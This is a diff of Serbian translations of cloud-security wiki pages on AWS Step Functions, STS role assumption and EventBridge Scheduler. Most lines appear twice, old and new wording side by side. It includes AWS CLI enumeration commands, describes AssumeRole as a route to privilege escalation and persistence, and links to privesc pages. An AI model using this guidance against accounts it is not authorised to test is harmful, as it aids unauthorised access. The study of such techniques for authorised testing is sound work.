- **Express Radni Tok**: Ova vrsta je idealna za zadatke visokog obima i kratkog trajanja, koji traju do pet minuta. Podržavaju **barem-jednom izvršenje**, pogodno za idempotentne zadatke kao što je obrada podataka. Ovi radni tokovi su optimizovani za troškove i performanse, naplaćujući na osnovu izvršenja, trajanja i korišćenja memorije.
### Stanja
Stanja su osnovne jedinice state mašina. Ona definišu pojedinačne korake unutar radnog toka, mogući su da izvršavaju razne funkcije u zavisnosti od tipa:
Stanja su osnovne jedinice state mašina. Definišu pojedinačne korake unutar radnog toka, mogući su da izvršavaju razne funkcije u zavisnosti od tipa:
- **Task:** Izvršava posao, često koristeći AWS servis kao što je Lambda.
- **Choice:** Donosi odluke na osnovu ulaza.
- **Fail/Succeed:** Završava izvršenje neuspehom ili uspehom.
- **Pass:** Prosleđuje ulaz na izlaz ili ubacuje podatke.
- **Wait:** Odlaže izvršenje na određeno vreme.
- **Parallel:** Pokreće paralelne grane.
- **Map:** Dinamički iterira korake preko stavki.
- **Zadatak:** Izvršava posao, često koristeći AWS servis kao što je Lambda.
- **Izbor:** Donosi odluke na osnovu ulaza.
- **Neuspeh/Uspjeh:** Završava izvršenje neuspehom ili uspehom.
- **Prolaz:** Prolazi ulaz u izlaz ili ubacuje podatke.
- **Čekanje:** Odlaže izvršenje na određeno vreme.
- **Paralelno:** Pokreće paralelne grane.
- **Mapiranje:** Dinamički iterira korake preko stavki.
### Task
### Zadatak
**Task** stanje predstavlja jednu jedinicu posla koju izvršava state mašina. Zadaci mogu pozivati različite resurse, uključujući aktivnosti, Lambda funkcije, AWS servise ili API-je trećih strana.
**Zadatak** stanje predstavlja jednu jedinicu posla koju izvršava state mašina. Zadatci mogu pozivati različite resurse, uključujući aktivnosti, Lambda funkcije, AWS servise ili API-je trećih strana.
- **Aktivnosti**: Prilagođeni radnici koje upravljate, pogodni za dugotrajne procese.
- Resurs: **`arn:aws:states:region:account:activity:name`**.
@@ -37,10 +37,10 @@ Stanja su osnovne jedinice state mašina. Ona definišu pojedinačne korake unut
- Resurs: **`arn:aws:lambda:region:account:function:function-name`**.
- **AWS Servisi**: Integrira se direktno sa drugim AWS servisima, kao što su DynamoDB ili S3.
- Resurs: **`arn:partition:states:region:account:servicename:APIname`**.
- **HTTP Task**: Poziva API-je trećih strana.
- Polje resursa: **`arn:aws:states:::http:invoke`**. Zatim, trebate navesti detalje konfiguracije API krajnje tačke, kao što su API URL, metoda i detalji autentifikacije.
- **HTTP Zadatak**: Poziva API-je trećih strana.
- Polje resursa: **`arn:aws:states:::http:invoke`**. Zatim, trebate pružiti detalje konfiguracije API krajnje tačke, kao što su API URL, metoda i detalji autentifikacije.
Sledeći primer prikazuje definiciju Task stanja koja poziva Lambda funkciju pod nazivom HelloWorld:
Sledeći primer prikazuje definiciju Zadatka koja poziva Lambda funkciju pod nazivom HelloWorld:
```json
"HelloWorld": {
"Type": "Task",
@@ -54,12 +54,12 @@ Sledeći primer prikazuje definiciju Task stanja koja poziva Lambda funkciju pod
```
### Choice
**Choice** stanje dodaje uslovnu logiku u radni tok, omogućavajući odluke na osnovu ulaznih podataka. Evaluira navedene uslove i prelazi u odgovarajuće stanje na osnovu rezultata.
A **Choice** state dodaje uslovnu logiku u radni tok, omogućavajući odluke na osnovu ulaznih podataka. Evaluira navedene uslove i prelazi u odgovarajuću državu na osnovu rezultata.
- **Comparison**: Svako pravilo izbora uključuje operator poređenja (npr., **`NumericEquals`**, **`StringEquals`**) koji upoređuje ulaznu promenljivu sa navedenom vrednošću ili drugom promenljivom.
- **Next Field**: Choice stanja ne podržavaju **`End`** polje, umesto toga definišu **`Next`** stanje u koje prelaze ako je poređenje tačno.
- **Comparison**: Svako pravilo izbora uključuje operator poređenja (npr., **`NumericEquals`**, **`StringEquals`**) koji upoređuje ulaznu promenljivu sa određenom vrednošću ili drugom promenljivom.
- **Next Field**: Choice states ne podržavaju **`End`** polje, umesto toga definišu **`Next`** stanje u koje će preći ako je poređenje tačno.
Primer **Choice** stanja:
Primer **Choice** state:
```json
{
"Variable": "$.timeStamp",
@@ -71,7 +71,7 @@ Primer **Choice** stanja:
A **`Fail`** stanje zaustavlja izvršenje mašine stanja i označava je kao neuspeh. Koristi se za specificiranje imena greške i uzroka, pružajući detalje o neuspehu. Ovo stanje je terminalno, što znači da završava tok izvršenja.
A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za prekid radnog toka kada se uspešno završi. Ovo stanje ne zahteva **`Next`** polje.
A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za završavanje radnog toka kada se uspešno završi. Ovo stanje ne zahteva **`Next`** polje.
{{#tabs }}
{{#tab name="Fail example" }}
@@ -95,7 +95,7 @@ A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za pre
### Pass
**Pass** stanje prosleđuje svoj ulaz svom izlazu ili bez obavljanja bilo kakvog posla ili transformišući JSON ulaz stanja koristeći filtre, a zatim prosleđuje transformisane podatke sledećem stanju. Korisno je za testiranje i konstruisanje stanja mašina, omogućavajući vam da ubacite statičke podatke ili ih transformišete.
**Pass** stanje prosleđuje svoj ulaz na svoj izlaz ili bez obavljanja bilo kakvog posla ili transformišući JSON ulaz stanja koristeći filtre, a zatim prosleđuje transformisane podatke sledećem stanju. Korisno je za testiranje i konstruisanje stanja mašina, omogućavajući vam da ubacite statičke podatke ili ih transformišete.
```json
"PassState": {
"Type": "Pass",
@@ -106,7 +106,7 @@ A **`Succeed`** stanje uspešno zaustavlja izvršenje. Obično se koristi za pre
```
### Wait
A **Wait** stanje odlaže izvršenje mašine stanja na određeni vremenski period. Postoje tri osnovne metode za podešavanje vremena čekanja:
**Wait** stanje odlaže izvršenje mašine stanja na određeni vremenski period. Postoje tri osnovne metode za podešavanje vremena čekanja:
- **X Sekundi**: Fiksan broj sekundi za čekanje.
@@ -141,11 +141,11 @@ jsonCopiar código
### Parallel
A **Parallel** stanje omogućava vam da izvršavate više grana zadataka istovremeno unutar vašeg radnog toka. Svaka grana se izvršava nezavisno i obrađuje svoju vlastitu sekvencu stanja. Izvršenje čeka dok sve grane ne završe pre nego što pređe na sledeće stanje. Njegova ključna polja su:
**Parallel** stanje omogućava vam da izvršavate više grana zadataka istovremeno unutar vašeg radnog toka. Svaka grana se izvršava nezavisno i obrađuje svoju vlastitu sekvencu stanja. Izvršenje čeka dok sve grane ne završe pre nego što pređe na sledeće stanje. Njegova ključna polja su:
- **Grane**: Niz koji definiše paralelne putanje izvršenja. Svaka grana je posebna mašina stanja.
- **Branches**: Niz koji definiše paralelne putanje izvršenja. Svaka grana je posebna mašina stanja.
- **ResultPath**: Definiše gde (u ulazu) da se postavi kombinovani izlaz grana.
- **Retry i Catch**: Konfiguracije za obradu grešaka za paralelno stanje.
- **Retry and Catch**: Konfiguracije za obradu grešaka za paralelno stanje.
```json
"ParallelState": {
"Type": "Parallel",
@@ -164,9 +164,9 @@ A **Parallel** stanje omogućava vam da izvršavate više grana zadataka istovre
```
### Map
A **Map** stanje omogućava izvršavanje skupa koraka za svaki predmet u skupu podataka. Koristi se za paralelnu obradu podataka. U zavisnosti od toga kako želite da obradite stavke skupa podataka, Step Functions pruža sledeće režime:
**Map** stanje omogućava izvršavanje skupa koraka za svaki element u skupu podataka. Koristi se za paralelno procesiranje podataka. U zavisnosti od toga kako želite da obradite stavke skupa podataka, Step Functions pruža sledeće režime:
- **Inline Mode**: Izvršava podskup stanja za svaki predmet JSON niza. Pogodno za male zadatke sa manje od 40 paralelnih iteracija, izvršavajući svaku od njih u kontekstu radnog toka koji sadrži **`Map`** stanje.
- **Inline Mode**: Izvršava podskup stanja za svaki JSON niz stavki. Pogodno za male zadatke sa manje od 40 paralelnih iteracija, izvršavajući svaku od njih u kontekstu radnog toka koji sadrži **`Map`** stanje.
```json
"MapState": {
@@ -195,7 +195,7 @@ A **Map** stanje omogućava izvršavanje skupa koraka za svaki predmet u skupu p
}
```
- **Distributed Mode**: Dizajniran za obradu velikih razmera sa visokom konkurencijom. Podržava obradu velikih skupova podataka, kao što su oni pohranjeni u Amazon S3, omogućavajući visoku konkurenciju do 10,000 paralelnih izvršavanja radnog toka, izvršavajući ove decu kao odvojeno izvršavanje.
- **Distributed Mode**: Dizajniran za paralelno procesiranje velikih razmera sa visokom konkurencijom. Podržava obradu velikih skupova podataka, kao što su oni pohranjeni u Amazon S3, omogućavajući visoku konkurenciju do 10,000 paralelnih izvršavanja radnog toka, izvršavajući ove decu kao odvojeno izvršavanje.
```json
"DistributedMapState": {
@@ -234,19 +234,19 @@ A **Map** stanje omogućava izvršavanje skupa koraka za svaki predmet u skupu p
### Versions and aliases
Step Functions takođe omogućava upravljanje implementacijama radnog toka kroz **verzije** i **alias** mašina stanja. Verzija predstavlja snimak mašine stanja koji može biti izvršen. Alias služi kao pokazivač na do dve verzije mašine stanja.
Step Functions takođe omogućava upravljanje implementacijama radnog toka kroz **versions** i **aliases** mašine stanja. Verzija predstavlja snimak mašine stanja koji može biti izvršen. Alias služi kao pokazivač na do dve verzije mašine stanja.
- **Versions**: Ovi nepromenljivi snimci mašine stanja kreiraju se iz najnovije revizije te mašine stanja. Svaka verzija se identifikuje jedinstvenim ARN-om koji kombinuje ARN mašine stanja sa brojem verzije, odvojenim dvotačkom (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Verzije se ne mogu uređivati, ali možete ažurirati mašinu stanja i objaviti novu verziju, ili koristiti željenu verziju mašine stanja.
- **Aliases**: Ovi pokazivači mogu referencirati do dve verzije iste mašine stanja. Više alias-a može biti kreirano za jednu mašinu stanja, svaki identifikovan jedinstvenim ARN-om konstruisanim kombinovanjem ARN mašine stanja sa imenom alias-a, odvojenim dvotačkom (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Alias omogućava usmeravanje saobraćaja između jedne od dve verzije mašine stanja. Alternativno, alias može ukazivati na jednu specifičnu verziju mašine stanja, ali ne na druge alias-e. Mogu se ažurirati da preusmere na drugu verziju mašine stanja po potrebi, olakšavajući kontrolisane implementacije i upravljanje radnim tokom.
- **Aliases**: Ovi pokazivači mogu referencirati do dve verzije iste mašine stanja. Više aliasa može biti kreirano za jednu mašinu stanja, svaki identifikovan jedinstvenim ARN-om konstruisanim kombinovanjem ARN mašine stanja sa imenom aliasa, odvojenim dvotačkom (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliasi omogućavaju usmeravanje saobraćaja između jedne od dve verzije mašine stanja. Alternativno, alias može ukazivati na jednu specifičnu verziju mašine stanja, ali ne na druge alias-e. Mogu se ažurirati da preusmere na drugu verziju mašine stanja po potrebi, olakšavajući kontrolisane implementacije i upravljanje radnim tokom.
Za detaljnije informacije o **ASL**, proverite: [**Amazon States Language**](https://states-language.net/spec.html).
## IAM Roles for State machines
AWS Step Functions koristi AWS Identity and Access Management (IAM) uloge za kontrolu pristupa resursima i akcijama unutar mašina stanja. Evo ključnih aspekata vezanih za bezbednost i IAM uloge u AWS Step Functions:
AWS Step Functions koristi AWS Identity and Access Management (IAM) uloge za kontrolu pristupa resursima i akcijama unutar mašine stanja. Evo ključnih aspekata vezanih za bezbednost i IAM uloge u AWS Step Functions:
- **Execution Role**: Svaka mašina stanja u AWS Step Functions je povezana sa IAM ulogom izvršenja. Ova uloga definiše koje akcije mašina stanja može izvesti u vaše ime. Kada mašina stanja prelazi između stanja koja komuniciraju sa AWS uslugama (kao što je pozivanje Lambda funkcija, pristup DynamoDB, itd.), preuzima ovu ulogu izvršenja da bi izvršila te akcije.
- **Permissions**: IAM uloga izvršenja mora biti konfigurisana sa dozvolama koje omogućavaju neophodne akcije na drugim AWS uslugama. Na primer, ako vaša mašina stanja treba da pozove AWS Lambda funkcije, IAM uloga mora imati **`lambda:InvokeFunction`** dozvole. Slično, ako treba da piše u DynamoDB, odgovarajuće dozvole (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, itd.) moraju biti dodeljene.
- **Execution Role**: Svaka mašina stanja u AWS Step Functions je povezana sa IAM ulogom za izvršenje. Ova uloga definiše koje akcije mašina stanja može izvesti u vaše ime. Kada mašina stanja prelazi između stanja koja komuniciraju sa AWS uslugama (kao što je pozivanje Lambda funkcija, pristupanje DynamoDB, itd.), preuzima ovu ulogu za izvršenje da bi izvršila te akcije.
- **Permissions**: IAM uloga za izvršenje mora biti konfigurisana sa dozvolama koje omogućavaju neophodne akcije na drugim AWS uslugama. Na primer, ako vaša mašina stanja treba da pozove AWS Lambda funkcije, IAM uloga mora imati **`lambda:InvokeFunction`** dozvole. Slično, ako treba da piše u DynamoDB, odgovarajuće dozvole (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, itd.) moraju biti dodeljene.
## Enumeration
@@ -299,7 +299,7 @@ aws stepfunctions list-executions --map-run-arn <value> [--status-filter <RUNNIN
```
## Privesc
Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole Step Functions za eskalaciju privilegija**:
Na sledećoj stranici možete proveriti kako da **zloupotrebite Step Functions dozvole za eskalaciju privilegija**:
{{#ref}}
../aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -4,15 +4,15 @@
## STS
**AWS Security Token Service (STS)** je prvenstveno dizajniran za izdavanje **privremenih, ograničenih privilegija**. Ove privilegije se mogu tražiti za **AWS Identity and Access Management (IAM)** korisnike ili za autentifikovane korisnike (federisane korisnike).
**AWS Security Token Service (STS)** je prvenstveno dizajniran za izdavanje **privremenih, ograničenih privilegija**. Ove privilegije se mogu zatražiti za **AWS Identity and Access Management (IAM)** korisnike ili za autentifikovane korisnike (federisane korisnike).
S obzirom na to da je svrha STS-a da **izdaje privilegije za impersonaciju identiteta**, usluga je izuzetno vredna za **eskalaciju privilegija i održavanje postojanosti**, iako možda nema širok spektar opcija.
### Assume Role Impersonation
Akcija [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) koju pruža AWS STS je ključna jer omogućava principalu da dobije privilegije za drugog principala, suštinski ga impersonira. Nakon poziva, odgovara sa ID-jem pristupnog ključa, tajnim ključem i tokenom sesije koji odgovara specificiranom ARN-u.
Akcija [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) koju pruža AWS STS je ključna jer omogućava principalu da dobije privilegije za drugog principala, suštinski ga impersonirajući. Nakon poziva, odgovara sa ID-jem pristupnog ključa, tajnim ključem i sesijskim tokenom koji odgovara specificiranom ARN-u.
Za Penetration Testere ili članove Red Teama, ova tehnika je ključna za eskalaciju privilegija (kako je objašnjeno [**ovde**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Međutim, vredi napomenuti da je ova tehnika prilično očigledna i možda neće iznenaditi napadača.
Za Penetration Testere ili članove Red Teama, ova tehnika je od suštinskog značaja za eskalaciju privilegija (kako je objašnjeno [**ovde**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Međutim, vredi napomenuti da je ova tehnika prilično očigledna i možda neće iznenaditi napadača.
#### Assume Role Logic
@@ -32,7 +32,7 @@ Da bi se preuzela uloga u istom nalogu, ako **uloga koju treba preuzeti specifi
]
}
```
U ovom slučaju, uloga **`priv-role`** **ne mora biti posebno dozvoljena** da preuzme tu ulogu (sa tom dozvolom je dovoljno).
Uloga **`priv-role`** u ovom slučaju **ne mora biti posebno dozvoljena** da preuzme tu ulogu (sa tom dozvolom je dovoljno).
Međutim, ako uloga dozvoljava nalogu da je preuzme, kao u:
```json
@@ -50,9 +50,9 @@ Međutim, ako uloga dozvoljava nalogu da je preuzme, kao u:
]
}
```
Uloga koju pokušavate da preuzmete će zahtevati **specifičnu `sts:AssumeRole` dozvolu** za tu ulogu **da bi je preuzela**.
Uloga koju pokušavate da preuzmete će zahtevati **specifičnu `sts:AssumeRole` dozvolu** za tu ulogu **da bi je preuzeli**.
Ako pokušate da preuzmete **ulogu** **iz drugog naloga**, **preuzeta uloga mora to da dozvoli** (navodeći **ARN** uloge ili **spoljni nalog**), i **uloga koja pokušava da preuzme** drugu **MORA** da ima dozvole da je preuzme **(u ovom slučaju to nije opcionalno čak i ako preuzeta uloga specificira ARN)**.
Ako pokušate da preuzmete **ulogu** **iz drugog naloga**, **preuzeta uloga mora to da dozvoli** (navodeći **ARN** uloge ili **spoljni nalog**), a **uloga koja pokušava da preuzme** drugu **MORA** da ima dozvole da je preuzme **(u ovom slučaju to nije opcionalno čak i ako preuzeta uloga specificira ARN)**.
### Enumeration
```bash
@@ -8,11 +8,11 @@
**Amazon EventBridge Scheduler** je potpuno upravljani, **serverless planer dizajniran za kreiranje, pokretanje i upravljanje zadacima** na velikoj skali. Omogućava vam da zakazujete milione zadataka preko više od 270 AWS usluga i 6,000+ API operacija, sve iz centralne usluge. Sa ugrađenom pouzdanošću i bez infrastrukture za upravljanje, EventBridge Scheduler pojednostavljuje zakazivanje, smanjuje troškove održavanja i automatski se skalira kako bi zadovoljio potražnju. Možete konfigurisati cron ili rate izraze za ponavljajuće rasporede, postaviti jednokratne pozive i definisati fleksibilne vremenske okvire za isporuku sa opcijama ponovnog pokušaja, osiguravajući da se zadaci pouzdano isporučuju na osnovu dostupnosti ciljeva nizvodno.
Postoji inicijalni limit od 1,000,000 rasporeda po regionu po nalogu. Čak i zvanična stranica kvota sugeriše: "Preporučuje se da se obrišu jednokratni rasporedi nakon što su završeni."&#x20;
Postoji inicijalni limit od 1,000,000 rasporeda po regionu po nalogu. Čak i zvanična stranica kvota sugeriše, "Preporučuje se da se obrišu jednokratni rasporedi nakon što su završeni."&#x20;
### Types of Schedules
### Tipovi Rasporeda
Tipovi rasporeda u EventBridge Scheduler:
Tipovi Rasporeda u EventBridge Scheduler:
1. **Jednokratni rasporedi** Izvršite zadatak u određenom trenutku, npr., 21. decembra u 7 AM UTC.
2. **Rasporedi zasnovani na frekvenciji** Postavite ponavljajuće zadatke na osnovu frekvencije, npr., svaka 2 sata.
@@ -20,10 +20,10 @@ Tipovi rasporeda u EventBridge Scheduler:
Dva mehanizma za upravljanje neuspelim događajima:
1. **Politika ponovnog pokušaja** Definiše broj pokušaja ponovnog izvršavanja za neuspeli događaj i koliko dugo ga zadržati neobrađenim pre nego što se smatra neuspehom.
1. **Politika ponovnog pokušaja** Definiše broj pokušaja ponovnog izvršavanja za neuspeli događaj i koliko dugo da ostane neobrađen pre nego što se smatra neuspehom.
2. **Dead-Letter Queue (DLQ)** Standardna Amazon SQS red čekanja gde se neuspeli događaji isporučuju nakon što su pokušaji ponovnog izvršavanja iscrpljeni. DLQ pomaže u rešavanju problema sa vašim rasporedom ili njegovim ciljem nizvodno.
### Targets
### Ciljevi
Postoje 2 tipa ciljeva za planer [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), koji se često koriste i AWS ih je učinio lakšim za konfiguraciju, i [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), koji se može koristiti za pozivanje bilo kog AWS API-ja.
@@ -32,19 +32,19 @@ Postoje 2 tipa ciljeva za planer [**templated (docs)**](https://docs.aws.amazon.
- CodeBuild StartBuild
- CodePipeline StartPipelineExecution
- Amazon ECS RunTask
- Parametri: EcsParameters
- Parameters: EcsParameters
- EventBridge PutEvents
- Parametri: EventBridgeParameters
- Parameters: EventBridgeParameters
- Amazon Inspector StartAssessmentRun
- Kinesis PutRecord
- Parametri: KinesisParameters
- Parameters: KinesisParameters
- Firehose PutRecord
- Lambda Invoke
- SageMaker StartPipelineExecution
- Parametri: SageMakerPipelineParameters
- Parameters: SageMakerPipelineParameters
- Amazon SNS Publish
- Amazon SQS SendMessage
- Parametri: SqsParameters
- Parameters: SqsParameters
- Step Functions StartExecution
### Enumeration
@@ -66,7 +66,7 @@ aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
```
### Privesc
Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole eventbridge scheduler-a za eskalaciju privilegija**:
Na sledećoj stranici možete proveriti kako da **zloupotrebite eventbridge scheduler dozvole za eskalaciju privilegija**:
{{#ref}}
../aws-privilege-escalation/eventbridgescheduler-privesc.md